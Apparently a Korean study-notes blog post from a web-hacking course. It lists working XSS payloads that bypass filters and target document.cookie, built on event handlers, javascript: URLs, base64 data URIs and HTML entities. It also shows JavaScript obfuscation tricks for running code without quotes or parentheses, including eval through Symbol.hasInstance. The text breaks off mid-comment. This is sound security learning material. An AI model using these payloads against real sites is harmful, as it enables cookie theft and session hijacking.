웹해킹/개념

Client-Side Advanced

DEEPY 2020. 5. 19. 00:31

이 게시글은 드림핵 강의를 보고 제 학습을 위해 올리는겁니다!!

이글에서는 DOM Clobbering에 대해 알아보고, 더불어 RPO(Relative Path Overwrite) 공격 기법과 이를 방어하는 법을 배워볼수 있다.

 

-xss , csp , csrf , cors , exploit techniques

 

xss

기존의 태그나 엔티티 자체를 입력을 못하게 하는방법이 가장 효율적이지만 다양한 서식을 허용하거나 여러 html 기능을 사용하고자 하기에는 불편하다. 그러므로 화이트리스트 필터링을 사용하게 되는데 이 방어가 꼼꼼하게 이루어지지 않을 경우 우회해서 공격을 진행할수가 있다.

 

코드를 실행할 수 있는 HTML 요소는 <script> 말고도 여러 방법이 존재하는데, 그 이유는 스크립트를 포함할 수 있는 속성이 존재하기 때문이다. 대표적으로 on으로 시작하는 속성들인데 ,많이 사용되는 이벤트는 load와 error가 있다.

 

잘못된 정규표현식을 사용한 필터 우회

// 스크립트 태그 내에 데이터가 존재하는지 확인하는 필터링 -> src 속성을 이용하여 데이터 입력.

// <sCrIpt src=data:;base64,YWxlcnQgKGRvY3VtZW50LmNvb2tpZSk7></SCRipt>// base64 인코딩을 통해 필터링 우회

// 멀티라인에 대한 검증이 존재하지 않아 줄바꿈을 통해 필터링 우회.

 

특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터 우회

x => !/img|onload/i.test(x)-->

<video><source onerror=alert(document.cookie) /></video>

 

x => !/onerror/i.test(x)-->

<body onload=alert(document.cookie) />

 

x => !/<\s*body/i.test(x)-->

<iframe src=jaVaSCRipt:alert(parent.document.cookie) />

 

x => !/onerror|javascript/i.test(x)-->

<iframe srcdoc="<img one&#114;&#114;or=alert(parent.document.cookie)" />

 

실습

 

JavaScript는 Unicode escape sequence ("\uAC00" = "가" 와 같이 문자열에서 유니코드 문자를 코드포인트로 나타낼 수 있는 표기), computed member access (객체의 특정 속성을 접근할 때 속성 이름을 동적으로 계산함) 등 코드를 난독화할 수 있는 다양한 기능들을 포함하여 다음과 같이 필터를 우회할 수 있다.

필터링 또는 인코딩/디코딩 등의 이유로 특정 문자( (),[],",' 등)를 사용하지 못하는 경우가 있습니다.

JavaScript는 다양한 문법을 지원하는 언어로써 해당 문자를 대체할 수 있는 방법들을 통해 우회하여 공격할 수 있습니다.

 

문자열 선언

var foo = /Hello World!/.source; // "Hello World!"
var foo2 = /test !/ + []; // "/test !/"
/*
RegExp Object의 pattern 부분을 이용.
/test/.constructor === RegExp
*/
var bar = String.fromCharCode(72, 101, 108, 108, 111); // Hello
/*
String.fromCharCode함수는 유니코드의 범위 중 해당 수에 해당 하는 문자를 반환.
*/
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
/*
기본 내장 함수 또는 오브젝트의 문자를 사용하는 방법.
history.toString(); ==> "[object History]" 
URL.toString(); ==> "function URL() { [native code] }"
history+[]; history+0; // 연산을 위해 history 오브젝트에서 toString() 함수가 실행된다.
*/
var qux = 29234652..toString(36); // "hello"
var qux2 = 29234652 .toString(36); // "hello"
// parseInt("hello", 36); ==> 29234652
/*
E4X operator("..") 연산자를 이용하여 number 오브젝트에 접근.
또한, 숫자 속성에 접근 시, 앞에 공백을 한 칸 추가해 점이 소수점으로 인식되지 않도록 하는 방법도 있습니다.
*/

함수 호출

location="javascript:alert\x281\x29;";
location.href="javascript:alert\u00281\u0029;";
location['href']="javascript:alert\0501\051;";
/*
javascript scheme 을 통해 함수 실행.
*/
"alert\x281\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x281\x29"instanceof[];
/*
JavaScript에서는 문자열 이외에도 ECMAScript 6에서 추가된 Symbol 또한 속성 명칭으로 사용할 수 있습니다.
Symbol.hasInstance well-known symbol을 이용하면 instanceof 연산자를 override할 수 있습니다.
즉, (O instanceof C)를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과값으로 사용하게 됩니다.
이 특성을 이용해 instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있습니다.
*/
document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
/*
document에 새로운 html 추가를 통해 자바스크립트 실행.